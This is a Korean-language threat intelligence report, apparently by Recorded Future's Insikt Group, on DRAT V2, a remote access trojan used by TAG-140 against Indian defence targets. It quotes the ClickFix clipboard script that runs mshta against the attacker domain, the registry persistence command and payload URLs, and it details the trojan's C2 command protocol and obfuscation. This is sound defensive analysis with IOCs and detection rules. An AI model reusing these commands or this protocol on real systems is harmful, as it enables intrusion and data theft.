DRAT V2: 업데이트된 DRAT, TAG-140의 무기고에 등장하다

DRAT V2: 업데이트된 DRAT, TAG-140의 무기고에 등장하다

Insikt Group 로고

Executive Summary

최근 인도 정부 기관을 대상으로 한 TAG-140 캠페인을 조사하는 과정에서 Insikt Group은 DRAT 원격 액세스 트로이목마(RAT)의 변종이 발견되었으며, 이를 DRAT V2로 지정했습니다. TAG-140은 SideCopy와 중복되는 부분이 있습니다. SideCopy는 Transparent Tribe(APT36, ProjectM, 또는 MYTHIC LEOPARD로도 추적되는)의 하위 클러스터 또는 운영 관련 단체로 평가된 운영 하위 그룹입니다. TAG-140은 악성 소프트웨어 무기고와 배포 기술에서 지속적인 개선과 다양성을 지속적으로 보여왔습니다. 이번 최신 캠페인은 인도 국방부를 모방한 클론된 보도자료 포털을 통해 진행되었으며, 이는 악성 소프트웨어(멀웨어) 아키텍처와 명령 및 제어(C2) 기능 측면에서 미묘하지만 주목할 만한 변화를 보여줍니다.

DRAT V2의 배포는 TAG-140이 원격 액세스 도구를 지속적으로 개선하여, .NET 기반 DRAT 버전에서 Delphi로 컴파일된 새로운 변형으로 전환하고 있음을 보여줍니다. 두 버전 모두 CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, ReverseRAT 등 이 그룹이 활용해 온 수많은 RAT 중 하나로, 멀웨어가 순환적으로 사용되는 패턴을 나타냅니다. DRAT V2는 맞춤형 TCP 기반 서버 주도 C2 프로토콜을 업데이트하고, 임의의 셸 명령 실행 및 향상된 파일 시스템 상호작용을 포함한 기능적 역량을 확장합니다.

감염 경로 분석 결과, 초기 접근은 ClickFix 스타일의 사회공학 유인물을 통해 이루어진 것으로 나타났습니다. 피해자들은 mshta.exe를 통해 악성 스크립트를 실행하도록 유인되었습니다. 이로 인해 TAG-140에서 이전에 사용된 BroaderAspect .NET 로더가 실행되었습니다. BroaderAspect은 지속성을 확립하고 이후 DRAT V2의 설치 및 실행을 수행합니다.

Insikt Group은 도메인 중복, 멀웨어 계통 및 인프라 특성을 근거로 이 활동이 TAG-140의 소행이라고 중간 수준의 신뢰도로 추정하고 있습니다. DRAT V2 기능의 향상으로 피해자 네트워크 전반에 걸쳐 맞춤형 익스플로잇 이후 활동 및 측면 이동에서 TAG-140의 능력이 커질 가능성이 있습니다. 따라서 이러한 공격의 출현은 위협 행위자 수법의 발전과 인도 국방 및 정부 기관에 대한 전략적 표적화를 보여주는 중요한 지표입니다.

주요 연구 결과

배경

TAG-140은 공개적으로 보고된 그룹 Sidecopy와 중첩되는 위협 행위자 그룹으로, 파키스탄 정부와 연관된 것으로 의심되는 고급 지속적 위협(APT) 그룹으로 평가되며, Transparent Tribe(APT36, ProjectM, 또는 MYTHIC Leopard로도 추적됨)의 하위 클러스터 또는 운영적 협력 단체로 추정됩니다. 2019년부터 활동해 온 TAG-140은 주로 인도 관련 기관을 표적으로 삼아왔으며, 최근 활동 범위가 전통적인 정부, 국방, 해군, 학술 분야를 넘어 해당 국가의 철도, 석유 및 가스, 외교 부처와 관련된 기관으로 확대되었습니다.

해당 그룹은 (1, 2, 3)에서 공격 기술의 일관된 진화를 보여주었습니다: 스피어 피싱 캠페인을 활용하고, HTML 애플리케이션(HTAs) 또는 Microsoft Installer(MSI) 패키지를 배포 수단으로 사용하며, 소프트웨어 취약점(예: WinRAR)을 악용하고, CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, ReverseRAT, DRAT 등 다양한 RAT(원격 액세스 툴)을 사용하는 등입니다. 그들의 감염 경로는 일반적으로 Windows와 Linux 환경 모두를 대상으로 합니다.

Insikt Group 최근 ClickFix 캠페인을 통해 인도 정부를 사칭한 유해 콘텐츠를 분석한 결과, 해당 콘텐츠는 TAG-140 위협 행위자에게 귀속되었습니다. TAG-140은 악성 도메인 이메일[.]gov[.]in[.]drdosurvey[.]info를 사용하여 인도 국방부의 공식 보도자료 포털을 모방한 가짜 웹사이트를 생성했습니다. 이 웹사이트는 합법적인 정부 웹사이트 mod[.]gov[.]in과 매우 유사합니다. (urlscan.io). 복제된 웹사이트는 정식 포털의 구조와 레이아웃을 복제했으며, 2023년 9월부터 2025년 4월까지의 보도자료를 목록으로 표시했습니다. 그러나 2025년 3월 링크만 활성화되어 있었습니다.

image1.png
그림 1: 국방부 포털의 복제 사이트 (출처: Hunt.io)

활성 상태인 2025년 3월 링크를 클릭하면 ClickFix 스타일의 사회공학 공격이 발생했습니다. Insikt Group TAG-140 Windows 감염 체인에 대한 추가 분석을 수행했으며, 이는 Seqrite Labs가 2024년 말에 보고한 TAG-140 활동 연구에서 확인된 감염 체인과 유사한 것으로 확인되었습니다. 감염 체인 분석(그림 2) 결과, 최종 페이로드가 DRAT의 새로운 Delphi 기반 변종(DRAT V2로 지칭됨)인 것으로 확인되었습니다. 이전에는 DRAT가 .NET으로 개발되었으며, 2023년에 처음으로 SideCopy 활동과 연관되어 확인되었습니다. 업데이트된 변종에는 새로운 명령어 기능과 약간 수정된 C2 프로토콜이 포함되어 있습니다.

image5.png
그림 2: TAG-140 감염 체인 드롭 DRAT V2 (출처: Recorded Future)

1. 사용자는 아래 URL로 안내됩니다 (urlscan.io). TAG-140의 전술, 기술 및 절차(TTPs)를 기반으로 볼 때, 이 공격은 사용자가 링크를 클릭하도록 유인하는 스피어 피싱 이메일로 전달될 가능성이 높습니다. 사용자는 이후 "2025년 3월 출시" 링크를 클릭하도록 유인됩니다. Windows 컴퓨터에서 해당 링크를 클릭하면 사용자가 일관된 리소스 식별자(URI) /captcha/windows.php로 리디렉션됩니다.

hxxps://email[.]gov[.]in[.]drdosurvey[.]info/content/press-releases-ministry-defence-0.html

2. 리디렉션된 웹사이트 (urlscan.io) "**공개 금지 - 공식 용도 전용 (FOUO)**"라는 경고 메시지를 표시하고 사용자에게 "계속"을 클릭하도록 요청합니다.

3. "계속"을 클릭하면 JavaScript가 실행되어 아래의 악성 명령어를 클립보드에 복사하고 사용자에게 명령 프롬프트에서 해당 명령어를 붙여넣고 실행하도록 안내합니다. 이 명령은 mshta.exe를 사용하여 원격 스크립트(index.php/sysinte.hta)를 다운로드하고 실행합니다. TAG-140의 인프라에서, _trade4wealth[.]in_.

const calcPath = "C:\\Windows\\System32\\mshta.exe
hxxps://trade4wealth[.]in/admin/assets/css/default/index.php";
navigator.clipboard.writeText(calcPath)

4. index.php/sysinte.hta 파일을 실행하면 Seqrite Labs에서 처음 보고된 BroaderAspect 로더가 생성되고 실행됩니다. BroaderAspect은 다음과 같은 작업을 수행합니다:

a. 다음 URL에서 미끼 문서 설문조사.pdf를 다운로드하고 열기.

hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/01/survey.pdf

b. noway.bat라는 이름의 Windows 배치 파일을 생성하고 실행합니다. DRAT v2의 지속성을 설정하기 위해 Microsoft에서 정의한 자동 실행 위치에 레지스트리 항목을 추가하는 명령어를 포함합니다.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Edgre" /t REG_SZ /F /D "cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf

c. 다음 URL에서 DRAT V2 페이로드를 다운로드하고 압축을 해제합니다:

Initial Request: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02
Redirect: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02/ayty.ert

d. 다음 명령어로 DRAT V2를 실행합니다:

C:\Windows\system32\cmd.exe /c cmd /C start
C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf

Insikt Group은 다음과 같은 특성을 근거로 이 활동이 TAG-140의 소행이라고 중간 정도의 신뢰도로 추정합니다.

  1. 인도 국방부와 같은 인도 방위 기관을 사칭하고 표적으로 삼는 행위는 이미 확인된 TAG-140 표적과 일치합니다.
  2. BroaderAspect 로더와 DRAT(두 변형 모두)의 사용은 TAG-140(1, 2)에서 독점적으로 사용되는 것으로 보이며, 이는 TAG-140의 TTP(기술, 전술, 절차)와 일치합니다.
  3. 도메인 이메일[.]gov[.]in[.]drdosurvey[.]info 다른 APT36 공격(1, 2)과 중복되며 Namecheap을 호스팅 제공업체로 사용합니다. 우리는 여러 사례에서 TAG-140이 Namecheap을 주로 사용하며, GoDaddy와 Hostinger도 함께 사용하는 것을 확인했습니다 (1, 2, 3, 4).
  4. DRAT V2 외에도 TAG-140은 이전에 오픈 소스 AllaKore RAT와 같은 Delphi 기반 멀웨어를 사용한 적이 있습니다.

기술 분석

DRAT V2는 Delphi로 개발된 경량 RAT이며, 2023년에 TAG-140의 소행으로 처음 확인된 이전의 .NET 기반 변형이 진화된 버전입니다. DRAT V2는 이전 버전에서 다음과 같은 몇 가지가 업데이트되었습니다.

그림 3은 DRAT V2의 대략적인 개요를 보여줍니다.

image10.png
그림 3: DRAT V2 요약 (출처: Recorded Future)

DRAT V2는 TAG-140 운영자가 손상된 호스트와 다양한 상호작용을 수행할 수 있도록 하는 명령 세트를 지원합니다. 통신이 설정되면 멀웨어는 수동적으로 C2 서버의 지시를 기다립니다. 지원되는 작업에는 사용자 이름, 운영 체제 버전, 시스템 시간, 현재 작업 디렉터리 수집과 같은 시스템 정찰은 물론, 연결 유효성 검사, 로컬 파일 시스템 및 디렉터리 열거가 포함됩니다.

DRAT V2는 정찰을 넘어서, 표적 환경과의 보다 적극적인 상호작용을 용이하게 합니다. 호스트와 C2 인프라 간에 양방향 파일 전송이 가능해, 운영자가 추가 페이로드를 업로드하거나 데이터를 유출할 수 있습니다. 또한 로컬 파일과 임의의 Windows 셸 명령 실행을 지원하며, 출력을 C2로 반환합니다. 이러한 기능을 통해 TAG-140은 감염된 시스템에 대한 지속적이고 유연한 제어를 수행할 수 있으며, 보조 멀웨어 도구를 배포할 필요 없이 자동화된 대화형 익스플로잇 이후 활동을 수행할 수 있습니다. 그림 4에는 DRAT V2의 기능이 요약되어 있습니다.

image7.png
그림 4: DRAT V2 기능 매트릭스 (출처: Recorded Future)

DRAT V2 명령어

DRAT V2는 손상된 호스트에서 원격 제어 기능을 지원하기 위해 맞춤형 TCP, 텍스트 기반, 서버 주도 프로토콜인 명령 인터페이스를 계속 사용합니다. 정형화된 형식을 통해 명령 실행, 파일 조작, 시스템 정찰이 가능합니다.

DRAT V2 명령 프로토콜은 물결표(~)와 파이프(|) 문자를 구분 기호로 사용하여 구별됩니다. C2 인프라와 연결이 설정되면 멀웨어는 수동 상태로 들어가 서버로부터의 인바운드 명령을 기다립니다. 이 지침은 호스트 정찰, 파일 관리, 직접 실행 등의 기능을 포함하는 9개의 개별 명령 유형(표 1)으로 구성되어 있습니다. 각 명령은 결정론적 형식을 따르므로 운영자는 일관성과 낮은 오버헤드를 유지하며 침해 후 조치를 조율할 수 있습니다.

DRAT V2 명령
기능
설명
initial_infotonas
시스템 정보
이 명령은 사용자 이름, OS 버전, 타임스탬프, 작업 디렉터리를 포함한 호스트 환경 세부 정보를 요청하여 시스템 수준의 정찰을 시작합니다. 응답은 7개의 필드로 정형화되어 있습니다.
sup
에코/연결 테스트
이 명령은 손상된 호스트와의 활성 통신을 확인하는 데 사용됩니다.
lst_of_sys_drvs
볼륨 목록
이 명령은 DRAT V2가 대상 시스템에서 접근 가능한 논리 드라이브를 열거할 수 있도록 합니다.
here_are_dir_details
정보를 포함한 디렉터리 및 파일 목록
이 명령은 디렉터리 및 파일에 대한 정형화된 메타데이터를 검색하며, 여기에는 이름, 크기, 타임스탬프, 경로가 포함됩니다. 특히, 구현에는 전체 경로가 후속 항목과 부적절하게 연결되는 결함이 있어 운영자의 구문 분석에 영향을 미칠 수 있습니다.
filina_for_down
파일 크기
이 명령은 지정된 파일의 바이트 크기를 검색하는 데 사용됩니다.
file_upl
파일 업로드
이 명령은 C2에서 대상 호스트로 파일 전송을 지원합니다. 명령을 실행하려면 파일 경로와 크기를 모두 지정해야 하며, 이는 페이로드 스테이징이나 보조 도구 배포를 용이하게 합니다.
this_filina_exec
파일 실행
이 명령은 호스트 시스템에서 지정된 파일을 실행합니다. 이 기능을 사용하면 추가 페이로드를 전달하거나 로컬 파일 시스템 내에서 기존 바이너리를 실행할 수 있습니다.
fil_down_confirmina
파일 다운로드
이 명령은 피해 시스템에서 C2 서버로 파일을 유출할 수 있도록 합니다. 다른 응답과 달리 응답 헤더가 없으며, 원시 파일 내용만 C2에 전송됩니다.
exec_this_comm
명령 실행
이 명령을 통해 감염된 호스트에서 임의의 셸 명령을 실행할 수 있습니다. 이는 대화형 작업의 유연성을 상당히 증가시켜 실시간 작업과 온디맨드 익스플로잇 이후 활동을 가능하게 합니다.

표 1: DRAT V2 명령어 (출처: Recorded Future)

이 명령 세트를 통해 TAG-140은 호스트 정찰, 데이터 준비, 잠재적 측면 이동을 포함한 다양한 익스플로잇 이후 목표를 지원할 수 있습니다. 특히 DRAT V2는 임의 명령 실행 지원을 통합하여 이전 버전의 기능을 확장했습니다. 부록 B는 매개변수를 포함한 각 명령에 대한 자세한 분석을 제공합니다.

그림 5는 감염된 호스트와 C2 간의 C2 통신 예시를 보여줍니다. 이 예시에서 C2 서버는 exec_this_comm~whoami 명령어를 전송합니다. 이 명령어는 감염된 호스트에게 whoami 명령어를 실행하도록 지시합니다. 감염된 호스트는 해당 명령어의 출력 결과를 반환합니다.

image11.png
그림 5: DRAT V2 명령 실행 요청 및 응답 패킷이 Wireshark에 의해 기록되고 표시되었습니다 (출처: Recorded Future)

DRAT vs DRAT V2

이 비교 분석은 원래 DRAT와 DRAT V2 간의 기술적 및 운영적 차이점을 집중적으로 보여줍니다. 개발 플랫폼의 변화는 멀웨어의 컴파일, 실행 및 잠재적 탐지 방식에 영향을 미치는 중요한 아키텍처 전환을 나타냅니다. 두 변형 모두 경량 RAT와 유사한 핵심 기능을 유지하고 있지만, DRAT V2는 명령 구조, C2 난독화 기술 및 통신 프로토콜에 의미 있는 개선을 도입하면서 문자열 난독화 사용을 최소화한 특징이 있습니다. 이러한 조정은 TAG-140이 익스플로잇 이후 작전에서 회피, 모듈성, 유연성을 개선하기 위해 도구를 발전시키고자 지속적으로 노력하고 있음을 보여줍니다.

명령 헤더 변형

DRAT의 두 변종은 원격 관리에 유사한 명령어를 구현하지만, 각 버전은 명령어 헤더에 대한 고유한 명명 규칙을 사용합니다. 예를 들어, DRAT의 시스템 정보 명령어는 getInformitica로 표시되어 있지만, DRAT V2에서는 initial_infotonas를 사용합니다. DRAT V2는 새로운 명령어 exec_this_comm을 도입했습니다. 이 명령어는 감염된 호스트에서 임의의 쉘 명령어를 실행할 수 있도록 하며, 이는 원본 DRAT에는 없던 기능으로, 후속 공격 기능의 확장을 나타냅니다. 아래 비교 표(표 2)는 두 버전 간 요청 및 응답 헤더의 상세한 줄별 분석을 보여줍니다. 해당 표에서 녹색으로 강조 표시된 명령어 매핑은 두 변형 모두에서 기능적으로 유지된 명령어를 나타내며, 노란색으로 강조 표시된 항목은 DRAT V2에 독점적으로 추가된 새로운 기능입니다.

명령
DRAT 명령 헤더
DRAT V2 명령 헤더
시스템 정보 요청
getInformitica
initial_infotonas
시스템 정보 응답
informiticaBack|
my_ini_info|
에코/연결 테스트 요청
sup
sup
에코/연결 테스트 응답
supconfirm
hello_frm_me
볼륨 목록 요청
드라이브 목록
lst_of_sys_drvs
볼륨 목록 응답
드라이브 목록
lst_of_sys_drvs
디렉토리 및 파일 목록에 정보 표시
요청
enterPath
here_are_dir_details
디렉토리 및 파일 목록에 정보 표시
응답
enterPath
here_are_dir_details
파일 크기 요청
fdl
filina_for_down
파일 크기 응답
fInfo
fileina_detailwa
파일 업로드 요청
fup
file_upl
파일 업로드 응답
fupConfirm
file_upl_confrm
파일 실행 요청
fupexec
this_filina_exec
파일 실행 응답
fupexecConfirm
파일 실행 완료
file_exec_confirm
파일 다운로드 요청
fdlConfirm
fil_down_confirmina
명령 실행 요청
exec_this_comm
명령 실행 응답
comm_resultwa
파일 다운로드 응답
[파일 내용]
[파일 내용]

표 2: DRAT와 DRAT V2의 명령어 비교 (출처: Recorded Future)

C2 통신의 텍스트 형식

두 버전 모두 C2 상호작용에 텍스트 기반 통신 프로토콜을 활용합니다. 그러나 인코딩 요구 사항이 다릅니다. 기존 DRAT는 입력과 출력 모두에 유니코드를 요구한 반면, DRAT V2는 유니코드와 ASCII로 명령을 수신하지만 항상 ASCII로 응답합니다(그림 6).

image8.png
그림 6DRAT V1 목록 볼륨 요청 및 응답이 Wireshark에 의해 기록되고 표시되었습니다 (출처: Recorded Future)

시스템 정보의 차이

두 버전의 시스템 정보 응답에는 많은 유사점이 있지만, 몇 가지 차이점이 있습니다. 이 차이점에는 유니코드 텍스트, 다른 명령 요청 헤더, 그리고 win-def 대신 WinDefender가 사용된 점이 포함되며, 이 두 가지는 모두 하드코딩되어 있습니다. 마지막으로, 시스템 정보 응답에서 Windows 버전의 형식은 DRAT와 DRATV2 간에 다릅니다. DRAT는 단순히 레지스트리 키 Software\Microsoft\Windows NT\CurrentVersion\ProductName에서 값을 반환합니다. 반면 DRAT V2는 API 호출 GetVersionExW()를 사용하여 Windows 버전을 가져오고, 소스 코드에서 Base64로 인코딩된 사용자 정의 문자열을 반환합니다. 표 3은 두 명령어 간의 차이를 요약합니다.

시스템 정보 구성 요소
DRAT 시스템 정보 응답
DRAT V2 시스템 정보 응답
명령 구분자
인바운드 요청에서 ~ 문자 이후의 데이터
인바운드 요청에서 ~ 문자 이후의 데이터
N.A 필드
하드코딩된 "N.A"
하드코딩된 "N.A"
Username 필드
사용자 이름은 SystemInformation.Username()을 통해 가져왔습니다.
사용자 이름은 시스템에서 다음과 같이 검색되었습니다:​:​Sysutils:​:​ GetEnvironmentVariable("USERNAME")
Windows 버전 필드
Windows 버전은 다음 경로에서 검색되었습니다: Software\Microsoft\Windows NT\CurrentVersion\ProductName

예시: Windows 10 Pro

GetVersionExW() 함수로 가져온 Windows 버전은 다음 중 하나로 변환됩니다:

  • V2luZG93cyAxMSBPUw==
    • Windows 11 OS
  • V2luZG93cyAxMCBPUw==
    • Windows 10 OS
  • V2luZG93cyA4IG9yIDEw
    • Windows 8 또는 10
  • V2luZG93cyA3IE9T
    • Windows 7 OS
  • VW5rbm93biBXaW5kb3dzIFZlcnNpb24=
    • 알 수 없는 Windows 버전
식별자 필드
고정된 Windows Defender
고정된 승리 조건
날짜/시간 타임스탬프 필드
현재 날짜와 시간(DD/MM/YYYY HH:MM:SS AM/PM 형식)을 DateTime.Now.ToString()을 통해 가져온 값입니다.
현재 날짜와 시간(YYYY-MM-DD HH:MM:SS 형식)을 SysUtils::Now()를 통해 가져온 값입니다.
작업 경로 필드
작업 디렉터리의 전체 경로
작업 디렉터리의 전체 경로

표 3: DRAT 대 DRAT V2 시스템 정보 요청 및 응답 필드 (출처: Recorded Future)

C2 난독화의 차이점

두 DRAT 변형 모두에서 C2 정보는 Base64로 인코딩됩니다. DRAT는 C2 IP 주소를 직접 인코딩하지만, DRAT V2는 Base64 인코딩 전에 IP 주소 앞에 다음 문자열 중 하나를 추가하는 수정된 C2 난독화 접근 방식을 사용합니다.

예시: 접두사 포함된 C2 IP 주소: PD48Pjw+PD48Pjw+PD48Pjw+PD48PjE4NS4xMTcuOTAuMjEy
접두사 포함 C2 IP 주소 예시: <> < > < > < > < > < > < > < > < > < > < > 185.117.90.212

이러한 사전 추가된 패턴은 기본적인 무결성 검사 역할을 하거나 분석가 및 자동화된 도구에 의한 단순한 디코딩을 방지하는 데 도움이 될 수 있습니다.

문자열 난독화

문자열 난독화 전략도 변형 간에 차이가 있습니다. DRAT는 대체 알고리즘을 사용하여 명령과 운영 문자열을 모두 인코딩하는 보다 광범위한 체계를 사용합니다. 반면 DRAT V2는 Windows 버전 및 C2 정보와 같은 문자열을 선택적으로 난독화하지만 명령 헤더는 평문으로 남겨둡니다. DRAT V2의 제한된 난독화 접근 방식은 은폐와 구문 분석 신뢰성 간의 절충을 의미할 수 있습니다.

탐지

image6.png 탐지
Snort image3.png
  • DRAT 멀웨어 아웃바운드 C2 통신 탐지: 이 Snort 규칙을 사용하여 아웃바운드 DRAT 및 DRAT V2 C2 통신을 탐지합니다.
Sigma image4.png
  • 실행 키를 통한 TAG-140 지속성 탐지: 배치 파일의 명령에서 닫는 따옴표가 누락된 경우, 이 Sigma 규칙을 사용하여 배치 파일을 통해 레지스트리 실행 키를 생성함으로써 지속성을 설정하는 TAG-140 공격을 탐지합니다.
YARA image12.png
  • TAG-140에서 사용하는 BroaderAspect 로더 탐지: 이 YARA 규칙을 사용하여 .pdf 및 .bat 파일 확장자와 특정 멀웨어 식별자를 포함한 BroaderAspect 멀웨어 관련 문자열이 들어 있는 파일을 탐지합니다.
  • TAG-140에서 사용하는 DRAT 멀웨어의 DotNet 및 Delphi 변형 탐지: DRAT 및 이러한 YARA 규칙을 사용하여 DRAT V2를 탐지합니다.

완화 조치

전망

TAG-140의 DRAT V2 배포는 광범위하고 상호 교환 가능한 원격 액세스 트로이 목마 제품군을 유지해 온 오랜 관행과 일치합니다. 이러한 지속적인 다각화는 속성, 탐지 및 모니터링 활동을 복잡하게 만듭니다. DRAT V2는 확실한 진화라기보다는 또 다른 모듈식 추가 기능으로 보입니다. 따라서 TAG-140이 시그니처를 모호하게 하고 운영의 유연성을 유지하기 위해 캠페인 전반에 걸쳐 RAT를 번갈아 사용할 가능성이 커졌습니다.

이러한 문제에도 불구하고 DRAT V2 감염 체인은 방어 회피 또는 분석 방지 기술을 제한적으로 사용합니다. 코드 난독화, 샌드박스 회피 또는 복잡한 로더 동작이 없어, 기본적인 원격 측정 및 정적 분석을 통해 조기에 탐지할 수 있는 가능성이 높습니다. 보안팀은 멀웨어 도구 및 감염 체인에 대한 실험이 지속될 것임을 예상하고 대비해야 합니다. 특정 멀웨어 제품군보다 스피어피싱 인프라, 로더 재사용, 행동 지표를 모니터링하는 것이 TAG-140 활동에 대한 가시성을 유지하는 데 매우 중요합니다.

부록 A: 침해 지표

DRAT V2

ce98542131598b7af5d8aa546efe8c33a9762fb70bff4574227ecaed7fff8802
0d68012308ea41c6327eeb73eea33f4fb657c4ee051e0d40a3ef9fc8992ed316
c73d278f7c30f8394aeb2ecbf8f646f10dcff1c617e1583c127e70c871e6f8b7

DRAT

830cd96aba6c328b1421bf64caa2b64f9e24d72c7118ff99d7ccac296e1bf13d
c328cec5d6062f200998b7680fab4ac311eafaf805ca43c487cda43498479e60

DRAT V2 C2

185[.]117[.]90[.]212:7771
154[.]38[.]175[.]83:3232
178[.]18[.]248[.]36:6372

DRAT C2

38[.]242[.]149[.]89:61101

부록 B: DRAT V2 명령 매개변수 및 응답

시스템 정보

initial_infotonas 명령어는 호스트 환경 세부 정보(사용자 이름, OS 버전, 타임스탬프, 작업 디렉토리 등)를 요청하여 시스템 수준 탐색을 시작합니다. 응답은 7개의 필드로 구성되어 있습니다.

시스템 정보 요청 헤더
매개변수
매개변수 설명
initial_infotonas
1
알 수 없음: 연속 번호가 관찰됨
시스템 정보 응답 헤더
매개변수
매개변수 설명
my_ini_info|
7
1: 인바운드 요청에서 ~ 문자 이후의 데이터
2: 하드코딩된 문자열 "N.A"
3: 사용자 이름은 시스템에서 다음과 같이 검색되었습니다:​:​Sysutils:​:​GetEnvironmentVariable("USERNAME")

4: GetVersionExW() 함수를 통해 확인된 Windows 버전은 다음 중 하나로 변환되며, 이는 소스 코드에서 Base64로 인코딩되어 있습니다:

  • Windows 11 OS
  • Windows 10 OS
  • Windows 8 또는 10
  • Windows 7 OS
  • 알 수 없는 Windows 버전
5: 하드코딩된 문자열 win-def
6: 현재 날짜와 시간은 YYYY-MM-DD HH:​MM:​SS 형식으로, System:​:​Sysutils:​:​Now()를 통해 가져온 값입니다.
7: 작업 디렉터리의 전체 경로

에코/연결 테스트

sup 명령어는 침해된 호스트와의 활성 통신을 확인하는 데 사용됩니다.

에코/연결 테스트 요청 헤더
매개변수
매개변수 설명
sup
0
명령 실행 응답 헤더
매개변수
매개변수 설명
hello_frm_me
0

볼륨 목록

lst_of_sys_drvs 명령어는 DRAT V2가 대상 컴퓨터에서 액세스 가능한 논리 드라이브를 열거합니다.

볼륨 목록 요청 헤더
매개변수
매개변수 설명
lst_of_sys_drvs
0
볼륨 목록 응답 헤더
매개변수
매개변수 설명
lst_of_sys_drvs
1
다음 형식으로 된 권 목록:
[볼륨 문자
1]:\1000000\r\n[볼륨 문자
2]1000000\r\n[볼륨 문자
n]1000000\r\n

속성을 포함한 디렉터리 목록

here_are_dir_details 명령어는 디렉토리 및 파일의 구조화된 메타데이터(이름, 크기, 타임스탬프, 경로 등)를 가져옵니다. 특히, 이 구현에는 전체 경로가 후속 항목과 올바르게 연결되지 않는 결함이 포함되어 있어, 운영자 파싱에 영향을 미칠 수 있습니다.

디렉터리 목록 요청 헤더
매개변수
매개변수 설명
here_are_dir_details
1
디렉터리 경로
디렉터리 목록 응답 헤더
매개변수
매개변수 설명
here_are_dir_details
1

"+"로 구분된 다음 형식의 속성을 포함한 하위 디렉터리 및 파일 목록:

  • 디렉터리 또는 파일 이름
  • 파일 크기(바이트), 디렉터리의 경우 "N/A"
  • 파일의 타임스탬프를 Sysutils::FileAge를 사용하거나 디렉토리의 경우 기본값인 1899-12-29 00:00:00로 설정합니다.
  • 전체 경로

파일 크기

filina_for_down 명령어는 지정된 파일의 바이트 크기를 가져오기 위해 사용됩니다.

파일 크기 요청 헤더
매개변수
매개변수 설명
filina_for_down
1
파일 경로
파일 크기 응답 헤더
매개변수
매개변수 설명
fileina_detailwa
1
파일의 크기(바이트 단위)

파일 업로드

file_upl~ 명령어는 C2에서 대상 호스트로 파일 전송을 지원합니다. 이 명령어는 파일 경로와 크기를 모두 지정해야 하며, 이는 페이로드 단계별 배포 또는 보조 도구 배포를 용이하게 합니다.

파일 업로드 요청 헤더
매개변수
매개변수 설명
fil_upl~
2
파일 경로 및 크기
파일 업로드 응답 헤더
매개변수
매개변수 설명
fil_upl_confrm
0

파일 실행

this_filina_exec 명령어는 호스트 시스템에서 지정된 파일을 실행합니다. 이 기능은 추가 페이로드의 전송 또는 로컬 파일 시스템 내의 기존 바이너리 실행을 가능하게 합니다.

파일 실행 요청 헤더
매개변수
매개변수 설명
this_filina_exec
1
실행할 파일의 전체 경로
파일 실행 응답
file_exec_confirm

파일 다운로드

fil_down_confirmina 명령어는 피해 시스템에서 C2 서버로 파일을 유출하는 기능을 활성화합니다. 다른 응답과 달리 응답 헤더가 없으며, C2로 전송되는 것은 원본 파일 내용만입니다.

파일 다운로드 요청 헤더
매개변수
매개변수 설명
fil_down_confirmina
1
다운로드할 파일의 전체 경로
파일 다운로드 응답 헤더
매개변수
매개변수 설명
헤더 없음
0
원시 파일 내용

명령 실행

exec_this_comm 명령어는 감염된 호스트에서 임의의 쉘 명령어를 실행할 수 있도록 허용합니다. 이 기능은 상호작용형 작업에 상당한 유연성을 제공하며, 실시간 작업 할당 및 필요에 따른 사후 공격 활동을 가능하게 합니다.

명령 실행 요청 헤더
매개변수
매개변수 설명
exec_this_comm
1
Windows 명령
명령 실행 응답 헤더
매개변수
매개변수 설명
comm_resultwa
1
요청된 Windows 명령 응답

전체 분석 내용을 읽으려면 여기를 클릭하여 PDF 보고서를 다운로드하세요.